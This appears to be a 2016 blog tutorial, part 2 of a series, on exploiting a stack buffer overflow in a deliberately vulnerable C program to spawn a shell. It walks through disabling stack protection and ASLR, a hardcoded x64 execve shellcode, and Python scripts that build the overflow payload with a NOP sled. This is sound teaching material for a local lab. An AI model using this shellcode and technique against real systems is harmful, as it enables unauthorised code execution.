Wednesday 28 September 2016

Part 2 | Stack-based Buffer Overflow exploitation to shell by example

Standard
In part 1 we've covered basic mechanisms of exploitation, but there is one caveat about example from part 1, that is we are not executing our code, but only changing the code path to run function that is already inside the binary.
This sometimes can be enough, but most of the times, we would like to execute our own code to get shell or remote shell, and that's exactly what we will cover in this part.
Attack that is shown in this part of the guide is historically the first thing that was used to exploit buffer overflows. Our goal is to put the code on the stack and redirect execution of the process to that region where it is placed. Because this is very old attack, there were implemented mitigations to prevent it from happening. This is why we are going to disable protection that makes the stack not executable section of memory.

3. Writing shellcode

Let's use modified example vulnerable code from part 1, everything stays the same but we don't have shell spawning function.

#include <stdio.h>
#include <string.h>

void exploitMe(FILE *f)
{
    char buf[1024];
    fread(buf, 1, 2048, f);
    puts(buf);
}

void main(int argc, char **argv)
{
    if (argc != 2)
    {
        puts("usage: exploit101 [filename]");
        return;
    }
    FILE *f = fopen(argv[1], "rb");
    if (f == NULL)
        return;
    exploitMe(f);
    fclose(f);
}


This time we are going to compile without stack cookies and with executable stack.

gcc exploit101.c -o exploit101 -fno-stack-protector -z execstack

Another thing for this to work (we will cover advanced techniques later on) is that we need to disable ASLR:


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

We want a snippet of code that is going to spawn shell. The problem is that we can't write this in C or Python because we are going to put the code inside the memory and then point to it with rip to run it. So we need it already compiled in a form that processor will understand it directly.
Code that is written in just bytes is often called shellcode which originated from payloads that spawned shells and were in this exact form.
How to write a shellcode?
There are few options, metasploit is one of them, and is probably the easiest one as well, msfvenom is part of metasploit that is capable of generating shellcodes. Other option would be to type in google something along those lines: 'x64 shellcode linux' and trust that this:

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

is really a shell spawning code (which it probably is).
Because I'm a trusty guy I'm going to assume that this shellcode is indeed correct and that it's gonna spawn a shell. We got our code, now we just need to force it's execution.

To do this we want the corresponding values on stack to look like this:
| buf | rbp | rip | ... | ...
                   |
                   v
|   JUNK  | ptr to shellcode | shellcode |

Let's check what is the address where our shellcode is going to end up.


$ gdb ./exploit101
pwndbg> b exploitMe
pwndbg> r file
pwndbg> n

Repeating 'n' till we get to ret can tell us what is the rsp value when returning from function, one address after that is going to start our code. Because stack is growing towards lower numbered addresses. We need to overrite rip with 0x7fffffffdae8 + 0x8 in this case.

4. Stack exec exploit

Exploit should be generated by running this code:


import struct, os

def dq(v):
    return struct.pack("Q", v)
with open("payload", "wb") as f:
    f.write("A" * 1032)
    f.write(dq(0x7fffffffdaf0))
    f.write("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

Running it under gdb gives us shell (yaaaaaay!).

 5. gdb is a liar

We were able to exploit vulnerability under gdb, let's see if we can achieve the same in normal circumstances:


It didn't work, the reason is that gdb is adding additional information in the memory which causes some offsets to change inside binary, this is something that we need to be aware when tracing process with gdb!
The remedy in this case is pretty simple, we are going to use something that is widely known as NOP sled. It's a technique that makes it more likely to hit our exploit with approximate address value of our exploit. Making big chunk of No Operation(processor doesn't do anything one them just goes to the next instruction) instructions before our exploit allows us to land anywhere in the NOP sled and still be able to execute our exploit. In addition to that, we are going to add some to our address.

This results in(nop is 0x90 under x86 architecture family):


import struct, os

def dq(v):
    return struct.pack("Q", v)
with open("payload", "wb") as f:
    f.write("A" * 1032)
    f.write(dq(0x7fffffffdba0))
    f.write("\x90"*400)
    f.write("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

And test run!


This time, everything went as expected, we got a shell. Just for reference let's check how it looks in the memory.

NOP sled
Exploit
Take note of the addresses which do not grow linearly near the NOP sled.

That's everything I've got for part 2 of this tutorial. In the next part we will cover a return-to-libc attack and a bit of ROP. Stay tuned!
Part 3

0 comments:

Post a Comment